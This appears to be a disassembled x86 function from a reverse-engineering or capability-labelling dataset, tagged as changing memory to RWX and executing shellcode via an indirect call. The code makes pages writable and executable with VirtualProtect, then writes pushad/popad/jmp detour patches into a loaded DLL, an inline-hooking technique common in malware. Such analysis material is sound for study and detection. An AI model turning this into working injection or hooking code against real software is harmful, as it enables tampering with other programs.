Function at 0x10004010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x84
cmp byte [0x10008826], 0
push ebx
push ebp
push esi
push edi
jne 0x1000421f
push 0x68
lea eax, [esp + 0x2c]
push 0
push eax
mov dword [esp + 0x30], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.10003ec0
lea edi, [esp + 0x24]
call fcn.10003f10
mov edi, dword [esp + 0x24]
push 0x10002400
call fcn.10001000
add esp, 4
cmp dword [0x100086a0], 0
mov dword [0x10008820], eax
jne 0x10004081
lea ecx, [ecx]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x100086a0], 0
je 0x10004070
mov ecx, dword [0x10008820]
push ecx
call fcn.10001000
mov ebx, dword [0x10008964]
add esp, 4
lea edx, [esp + 0x10]
push edx
mov dword [0x10008820], eax
mov eax, dword [0x10008698]
push 0x40
lea ebp, [ebx + eax*4 + 0x1000]
lea ebx, [ebx + eax*4 + 0x1030]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, ebx
mov esi, ebx
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x18]
push eax
push ecx
push 4
push ebx
call esi
lea edx, [esp + 0x10]
push edx
push 0x40
push 4
push ebp
call esi
mov edi, ebp
mov esi, ebp
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x18]
push eax
push ecx
push 4
push ebp
call esi
push 0x10002570
call fcn.10001000
add esp, 4
push 0x10002400
mov edi, ebx
call fcn.10001000
add esp, 4
push 0x10002570
mov edi, ebp
call fcn.100010b0
add esp, 4
push 0x10002400
mov edi, ebx
call fcn.100010b0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 4
push 0x100064b8
call edi
add eax, 0x1000
push 0x100064b8
mov dword [0x10007fdc], eax
call edi
mov edi, dword [0x10007fdc]
lea edx, [esp + 0x10]
push edx
push 0x40
add eax, 0x1030
push 0xa
mov dword [0x10007fb4], eax
push edi
call esi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
mov eax, 0x10002570
sub eax, edi
push 0xa
sub eax, 7
mov bl, 0xe9
push edi
mov byte [edi], 0x60
mov byte [edi + 1], 0x61
mov byte [edi + 2], bl
mov dword [edi + 3], eax
call esi
mov edi, dword [0x10007fb4]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0xa
push edi
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
push eax
mov ecx, 0x10002400
sub ecx, edi
push 0xa
sub ecx, 7
push edi
mov byte [edi], 0x60
mov byte [edi + 1], 0x61
mov byte [edi + 2], bl
mov dword [edi + 3], ecx
call esi
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
mov dword [0x1000881c], ecx
mov dword [0x10008820], edx
mov byte [0x10008826], 1
jmp 0x10004225
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10008698]
mov ebp, dword [0x10008964]
lea ebx, [ebp + eax*4 + 0x1000]
lea ebp, [ebp + eax*4 + 0x1030]
lea eax, [esp + 0x14]
push eax
push 0x40
push 4
push ebp
call esi
mov edi, ebp
mov esi, ebp
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
push ecx
push edx
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esp + 0x10], 0x10
lea eax, [esp + 0x18]
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, ebx
mov esi, ebx
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
call fcn.100011d0
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x20]
push ecx
push edx
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub dword [esp + 0x10], 1
jne 0x1000428a
mov ecx, 0x52
mov eax, ebx
mov edx, dword [esi]
cmp edx, dword [eax]
jne 0x1000434e
sub ecx, 4
add eax, 4
add esi, 4
cmp ecx, 4
jae 0x100042d8
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x1000434e
mov dl, byte [eax + 1]
cmp dl, byte [esi + 1]
jne 0x1000434e
push 0x52
push ebx
push ebx
call dword [sym.imp.MSVCR90.dll__memicmp]
add esp, 0xc
test eax, eax
jne 0x1000434e
mov esi, dword [0x100086a0]
mov ecx, dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
add ecx, 0x520
push ecx
call edi
mov edx, dword [esi]
mov dword [edx + 0x148], ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esi]
lea eax, [esp + 0x10]
push eax
push ecx
push 4
add edx, 0x520
push edx
call edi
mov eax, dword [0x100086a0]
mov ecx, dword [eax]
push 0
add eax, 0x520
push 0
push eax
mov dword [ecx + 0x148], ebx
call sub.MSVCR90.dll_memcpy
add esp, 0xc
push 0
push ebx
push ebx
call sub.MSVCR90.dll_memcpy
add esp, 0xc
mov edx, 0x2a
mov eax, ebp
mov ecx, ebp
mov esi, dword [ecx]
cmp esi, dword [eax]
jne 0x100043c3
sub edx, 4
add eax, 4
add ecx, 4
cmp edx, 4
jae 0x10004382
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100043c3
mov al, byte [eax + 1]
cmp al, byte [ecx + 1]
jne 0x100043c3
push 0x2a
push ebp
push ebp
call dword [sym.imp.MSVCR90.dll__memicmp]
add esp, 0xc
test eax, eax
jne 0x100043c3
push ebp
mov eax, 0x2a
call fcn.10001da0
add esp, 4
mov eax, 0x2a
mov esi, ebp
call fcn.10001ea0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x84
ret